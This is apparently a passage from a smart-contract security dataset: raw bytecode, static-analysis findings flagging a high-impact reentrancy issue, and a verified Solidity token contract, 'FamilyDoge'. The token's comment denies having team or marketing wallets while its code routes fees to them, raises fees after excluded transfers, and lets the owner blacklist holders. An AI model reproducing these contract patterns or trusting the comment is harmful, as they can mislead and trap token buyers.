1561063057600080fd5b50610338611163565b34801561064557600080fd5b5061021c600435611169565b34801561065d57600080fd5b5061043c600435611237565b34801561067557600080fd5b50610183611252565b60408051808201909152600b81527f6170657820536f6c696473000000000000000000000000000000000000000000602082015290565b6106bf3382611289565b15156106ca57600080fd5b600081815260086020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03861690811790915582518481529251909233927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a35050565b6060600080808080600c876006811061075257fe5b60060201805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292935083918301828280156107dd5780601f106107b2576101008083540402835291602001916107dd565b820191906000526020600020905b8154815290600101906020018083116107c057829003601f168201915b505050505095506107ed876110b8565b6000978852600660205260409097205460058083015490546004909301549799600160a060020a039092169790965090910142119350915050565b600190565b600954600160a060020a0316331461084457600080fd5b600b8054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b600590565b600c816006811061089657fe5b60060201805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292935083918301828280156109215780601f106108f657610100808354040283529160200191610921565b820191906000526020600020905b81548152906001019060200180831161090457829003601f168201915b5050505050908060010154908060020154908060030154908060040154908060050154905086565b6109538382611289565b151561095e57600080fd5b61096882826112a9565b151561097357600080fd5b61097c826112c9565b151561098757600080fd5b6109928383836112d7565b505050565b600b54600160a060020a031681565b603054600160a060020a031681565b600954600090600160a060020a031633146109cf57600080fd5b600a5430311115610a225750600a80546000918290556009546040519192600160a060020a039091169183156108fc0291849190818181858888f19350505050158015610a20573d6000803e3d6000fd5b505b50565b600b5474010000000000000000000000000000000000000000900460ff1681565b600081815260066020526040902054600160a060020a0316801515610a6a57600080fd5b919050565b600954600160a060020a03163314610a8657600080fd5b60308054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff199283168117909155600b8054909216179055565b600160a060020a031660009081526007602052604090205490565b6060600060606000806000610aee87610abf565b9450841515610b0d576040805160008152602081019091529550610ba2565b84604051908082528060200260200182016040528015610b37578160200160208202803883390190505b509350610b42610884565b925060009150600090505b828111610b9e57600081815260066020526040902054600160a060020a0388811691161415610b9657808483815181101515610b8557fe5b602090810290910101526001909101905b600101610b4d565b8395505b5050505050919050565b60408051808201909152600481527f4150585300000000000000000000000000000000000000000000000000000000602082015290565b60408051808201909152600b81527f6170657820536f6c696473000000000000000000000000000000000000000000602082015281565b610c243382611289565b1515610c2f57600080fd5b610c38826112c9565b1515610c4357600080fd5b610a203383836112d7565b6000808080808080323314610c6257600080fd5b600b5474010000000000000000000000000000000000000000900460ff1615610c8a57600080fd5b64174876e7ff3a10610c9b57600080fd5b600089815260066020526040902054600160a060020a03169650339550610cc1896110b8565b9450600160a060020a038781169087161415610cdc57600080fd5b610ce5866112c9565b1515610cf057600080fd5b34851115610cfd57600080fd5b610d14610d0c866000546113d0565b6004546113ec565b9350610d2d610d25866000546113d0565b6003546113ec565b9250610d46610d3e866000546113d0565b6001546113ec565b9150610d5f610d57866000546113d0565b6002546113ec565b600a805484019055603054604080517f544736e60000000000000000000000000000000000000000000000000000000081529051929350600160a060020a039091169163544736e6916004808201926020929091908290030181600087803b158015610dca57600080fd5b505af1158015610dde573d6000803e3d6000fd5b505050506040513d6020811015610df457600080fd5b505115610e9e57603054604080517fcaa877e7000000000000000000000000000000000000000000000000000000008152600160a060020a038b811660048301523360248301529151919092169163caa877e791869160448082019260209290919082900301818588803b158015610e6b57600080fd5b505af1158015610e7f573d6000803e3d6000fd5b50505050506040513d6020811015610e9657600080fd5b50610ecd9050565b604051339084156108fc029085906000818181858888f19350505050158015610ecb573d6000803e3d6000fd5b505b610ed887878b6112d7565b610eee610ee68660646113d0565b6000546113ec565b600c8a60068110610efb57fe5b600602016002018190555042600c8a600681101515610f1657fe5b600602016004018190555080600c8a600681101515610f3157fe5b60060201600501805491909101905530600160a060020a03881614610f7657604051600160a060020a0388169085156108fc029086906000818181858888f150505050505b887f136c8670bae1a157608c4b0201053960f4271b43daf46cbf6ac6d729033b4be6868989600c8560068110610fa857fe5b60408051868152600160a060020a038087166020830152851691810191909152608060608201818152600693909302939093018054600260001961010060018416150201909116049382018490529290919060a08301908490801561104e5780601f106110235761010080835404028352916020019161104e565b820191906000526020600020905b81548152906001019060200180831161103157829003601f168201915b50509550505050505060405180910390a2505050505050505050565b6000818152600660205260409020543390600160a060020a031661108d826112c9565b151561109857600080fd5b6110a282846112a9565b15156110ad57600080fd5b6109928183856112d7565b60008080808080600c87600681106110cc57fe5b6006020194508460040154420393508460030154841015806110f5575084600101548560020154145b156111065784600101549550610ba2565b84600101548560020154039250846003015484840281151561112457fe5b60029096015495049094039695505050505050565b600954600160a060020a031681565b600660205260009081526040902054600160a060020a031681565b600a5481565b600b546000908190819074010000000000000000000000000000000000000000900460ff161561119857600080fd5b600084815260066020526040902054600160a060020a031633146111bb57600080fd5b600091506111c88461073d565b909650945084925050811590506111df5750600083115b15156111ea57600080fd5b50816000600c85600681106111fb57fe5b600602016005015560405133906108fc8315029083906000818181858888f19350505050158015611230573d6000803e3d6000fd5b5050505050565b600860205260009081526040902054600160a060020a031681565b60408051808201909152600481527f4150585300000000000000000000000000000000000000000000000000000000602082015281565b600090815260066020526040902054600160a060020a0390811691161490565b600090815260086020526040902054600160a060020a0391821691161490565b600160a060020a0316151590565b813b80156112e457600080fd5b600160a060020a0380841660008181526007602090815260408083208054600101905586835260069091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905584161561137f57600160a060020a0384166000908152600760209081526040808320805460001901905584835260089091529020805473ffffffffffffffffffffffffffffffffffffffff191690555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60008082848115156113de57fe5b0490508091505b5092915050565b6000808315156113ff57600091506113e5565b5082820282848281151561140f57fe5b041461141757fe5b93925050505600a165627a7a72305820c64625bcbf4dc8ce94d5f9e3e58b5578f2a7cb1fb165302ba404f90256dee7020029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,908 |
0x5f401fe3d295d3973397543c1fff5536b9ea56e3
|
/**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/familydogetoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FamilyDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FamilyDoge | t.me/Familydogetoken";
string private constant _symbol = "FDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _teamFee = 4;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a1f565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec0565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e3565b610590565b6040516101a09190612ea5565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613062565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612994565b6105bf565b6040516102089190612ea5565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf4565b60405161024a91906130d7565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a60565b610bfd565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612906565b610caf565b005b3480156102b157600080fd5b506102ba610d9f565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612906565b610e11565b6040516102f09190613062565b60405180910390f35b34801561030557600080fd5b5061030e610e62565b005b34801561031c57600080fd5b50610325610fb5565b6040516103329190612dd7565b60405180910390f35b34801561034757600080fd5b50610350610fde565b60405161035d9190612ec0565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e3565b61101b565b60405161039a9190612ea5565b60405180910390f35b3480156103af57600080fd5b506103b8611039565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab2565b6110b3565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612958565b6111fc565b6040516104179190613062565b60405180910390f35b610428611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc2565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613378565b9150506104b8565b5050565b606060405180606001604052806021815260200161379b60219139905090565b60006105a461059d611283565b848461128b565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611456565b61068d846105d8611283565b610688856040518060600160405280602881526020016137bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611283565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c159092919063ffffffff16565b61128b565b600190509392505050565b6106a0611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc2565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f02565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610925919061292f565b6040518363ffffffff1660e01b8152600401610942929190612df2565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610994919061292f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e11565b600080610a28610fb5565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e44565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adb565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9e929190612e1b565b602060405180830381600087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf09190612a89565b5050565b60006009905090565b610c05611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990612fc2565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb7611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b90612fc2565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de0611283565b73ffffffffffffffffffffffffffffffffffffffff1614610e0057600080fd5b6000479050610e0e81611c79565b50565b6000610e5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d74565b9050919050565b610e6a611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612fc2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f46444f4745000000000000000000000000000000000000000000000000000000815250905090565b600061102f611028611283565b8484611456565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107a611283565b73ffffffffffffffffffffffffffffffffffffffff161461109a57600080fd5b60006110a530610e11565b90506110b081611de2565b50565b6110bb611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612fc2565b60405180910390fd5b6000811161118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612f82565b60405180910390fd5b6111ba60646111ac83683635c9adc5dea000006120dc90919063ffffffff16565b61215790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f19190613062565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290613022565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612f42565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114499190613062565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90613002565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d90612ee2565b60405180910390fd5b60008111611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612fe2565b60405180910390fd5b611581610fb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506115bf610fb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5257600f60179054906101000a900460ff1615611822573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117255750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176b611283565b73ffffffffffffffffffffffffffffffffffffffff1614806117e15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c9611283565b73ffffffffffffffffffffffffffffffffffffffff16145b611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613042565b60405180910390fd5b5b5b60105481111561183157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118de57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119895750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119df5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f75750600f60179054